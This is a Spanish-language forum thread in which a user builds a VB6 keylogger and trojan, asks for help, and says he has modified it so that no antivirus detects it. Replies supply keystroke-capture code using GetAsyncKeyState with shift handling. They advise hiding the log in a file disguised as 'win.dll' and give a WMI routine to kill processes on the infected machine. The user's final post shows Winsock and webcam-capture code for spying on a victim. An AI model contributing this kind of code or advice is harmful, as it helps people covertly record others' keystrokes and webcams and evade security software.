buenas estoy haciendo un keylogger en vb6 y tengo un problemilla ;D...
me captura todas las teclas bien pero cuando pulso una tecla ejemplo la h pues me sale mayuscula y minuscula :rolleyes: asin todas las teclas como podria solucionarlo?
mirando el codigo y fijandote en donde entra al pulsar las teclas....en el codigo esta el problema :P
Si tu hisiste el codigo del Keyloger deberias saber ¬¬. y si no preguntandole al creador o lee un manual de Basic.
el codigo no es mio pero lo estoy modificando en la mayor parte hasta lo detectaban 3 antivirus ahora ninguno el fallo creo que esta en el timmer..eso parece.. ;D
bueno ya esta solucionado ;D
pero ahora jaaj me sale todo en mayusculas y no se por que?
No creo que el fallo este en el timer, si apretas la h en minuscula siempre será en minuscula, un timer no la puede cambiar si no hay un código dentro que lo diga.
es que resulta que en el timer tengo el codigo para que me mande las teclas pulsadas a mi cliente..pero ya solucione..lo que me pasa ahora es que me infecto con el server me funciona biien pero cuando me llega las pulsaciones me sale todo en mayuscula y nada en minuscula..sabes como lo solucionaria?
Mira, haz que se guarde todo en un win.dll <-- para disimular, y abres el archivo y cuando tenga x caracteres que lo envie al cliente asi es más sencillo.
mira debes tener una funcion que detecte si esta activado entonces la tecla shift, de ser asi cuando procedes con el reconocimiento de la tecla entonces deberias hacer una conversion si en caso esta activado... esto seria en el timer encargado de averiguar la tecla pulsada.
captas la idea?
lo mismo para el mayus...
Wenas, si no pudiste cambiar lo de q esten en mayusculas puedes usar la funcion LCase:
Private Sub Command1_Click()
Dim a As String
a = LCase(Text1.Text)
Text1 = a
End Sub
Escribe algo en mayus en el text y luego se pasaran a minus, nose quiza te sirva si no lo solucionaste, un saludo ;)
PD:Con la funcion UCase cambia de mayus a minus :P
Como ya han dicho, si repararas un poco en el codigo seguramente verias que no tienes ninguna sentencia que te distinga si la tecla es mayuscula o minuscula, es decir, que te verifique si al pulsar la tecla esta tambien pulsado el shift o no.
La funcion para el shift es la siguiente y devuelve un boolean
Public Function GetShift() As Boolean
GetShift = CBool(GetAsyncKeyState(vbKeyShift))
End Function
Evidentemente tienes que tener declarada la funcion GetAsyncKeyState y que llege hasta donde esta el GetShift()
Asi despues en el timer del keylogger podrias poner
Case 57 'Para el numero 9
If GetShift = True Then
Written = Written & ")"
Else: Written = Written & "9"
End If
'Para las letras 65-90
Case 65 To 90
If GetShift = True Then
Written = Written & UCase(Chr$(KeyCode))
Else: Written = Written & LCase(Chr$(KeyCode))
End If
Case 188 'O por ejemplo la coma
If GetShift = True Then
Written = Written & ";"
Else: Written = Written & ","
End If
Si tienes algun problema con alguna tecla simplemente pon MsgBox keycode
despues de la funcion que mira las pulsaciones y asi te devolvera el numero ASCII de la tecla, luego anades un case para ese numero y fuera....
Mira el codigo e intenta ver siempre por que no funciona
Modificado.
PDD El problema en si es que al no mirar si esta pulsada la tecla shift o no, la funcion GetAsyncKeyState te devuelve siempre 65 al pulsar la "a", 66 al pulsar la "b" y asi consecutivamente y estos numeros pertenecen a las mayusculas en el ASCII, el teclado no devuelve los numeros de las minusculas, que estan entre 97 y 122. Como tu obtienes la letra a partir del numero que te devuelve la funcion, pones siempre mayuscula.
buenas noches gracias a todos por contestar ;D
saludos. ::)
quiero que mi cliente me muestre los procesos del administrador de tareas de el servidor..como?
si queres te hacemos el troyano desde 0 y vos le pones los controles nomas... :¬¬
pues seba123neo seria lo mejor no ;D asin no pienso yo tanto no.. :rolleyes:
es broma no te enfades hombre..
lo que queria preguntar era con que funcion seria para ver los procesos,no preguntaba como se hace ni como hay que poner el code ni donde.
saludos... ::)
bueno si es asi si, busca sobre la api llamada CreateToolhelp32Snapshot o la mas conocida EnumProcesses,o hasta con WMI lo podes hacer...en internet hay varios ejemplos de esto, sino bajate el api-guide ahi tenes ejemplos ya creados de todas las api's...
saludos.
mira, esta funcion se encaarga de finalizar un proceso especifico, para esto hace una lista de los procesos, y va comparando uno a uno, si en caso es el solicitado lo finaliza.
Ahora tu encargate de meterlo eso a una cadena y luego recuperas los valores con split; es bien facil; ya no lo hago para que mas que sea hagas algo.
Si no sabes como hacerlo, te recomiendo que leas un BUEN MANUAL DE VISUAL BASIC antes de empezar a querer hacer un software.
De paso busca manuales y ejercicios de algoritmos, te servira mucho.
byes
Public Sub KillProcess(ByVal processName As String)
'---CAPTURA DE ERROR---
On Error GoTo ErrHandler
'----------------------
'---DECLARACIÓN DE VARIABLES---
Dim oWMI
Dim ret
Dim sService
Dim oWMIServices
Dim oWMIService
Dim oServices
Dim oService
Dim servicename
'------------------------------
'--------------------SE OBTIENEN OBJETOS--------------------
Set oWMI = GetObject("winmgmts:")
Set oServices = oWMI.InstancesOf("win32_process")
'-----------------------------------------------------------
'----------------------BUSCA EL PROCESO---------------------
For Each oService In oServices
servicename = LCase(Trim(CStr(oService.Name) & ""))
If InStr(1, servicename, _
LCase(processName), vbTextCompare) > 0 Then
ret = oService.Terminate
End If
Next
'-----------------------------------------------------------
'---------SE HACE NADA---------
Set oServices = Nothing
Set oWMI = Nothing
'------------------------------
'---CAPTURA DE ERROR----
ErrHandler:
Err.Clear
'-----------------------
End Sub
PD: la funcion no la hize yo, no recuerdo el autor.
aqui te dejo unos modulos (2) sobre eso.. uno usa puro APIs (es mejor mas avanzado, aunque hay APIs de ese modulo que son detectadas) y el otro usa WMI, este modulo esta como en tres foros del internet yo lo saco de la fuente original no son mios..
mLitleProcManager para trabajar con procesos... (http://foro.code-makers.es/mlitleprocmanager_para_trabajar_con_procesos-t2361.0.html)
Modulo para procesos mProcessManager (http://foro.code-makers.es/modulo_privado_modulo_para_procesos_mprocessmanager-t2760.0.html)
y mas tarde ( para rematar ) te subo un modulo para manejar procesos o mejor dos, uno de un troyano y otro de otroxD..
Espero te sirvan de ejemplo! ;)
Creo que te has ido un poco del tema "elguast", si quieres preguntar sobre otra cosa ponlo en otro tema simplemente.
Podrías usa los comandos de la shell: "tasklist" para listar lo procesos y "taskkill" para matarlos... es mucho mas simple aunque mas chapuzero...
Salu10
buenos dias mirar pongo mi keylogger me va de maravilla pero cuando pongo este codigo para capturar la imagen de la cam me entonces las teclas pulsadas si escribo un poco deprisa no las veo esto lo he puesto en el form_load:
Command1.Caption = "Conectar"
Text1.Text = "127.0.0.1"
If Command1.Caption = "Conectar" Then
Winsock1.CONNECT Text1, CInt(Text2)
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0
Timer2.Enabled = True
Command1.Caption = "Desconectar"
Else
Timer2.Enabled = False
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Winsock1.Close
Me.Caption = "Desconectado"
Command1.Caption = "Conectar"
End If
se que es por estas dos lineas:
DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
como lo arreglaria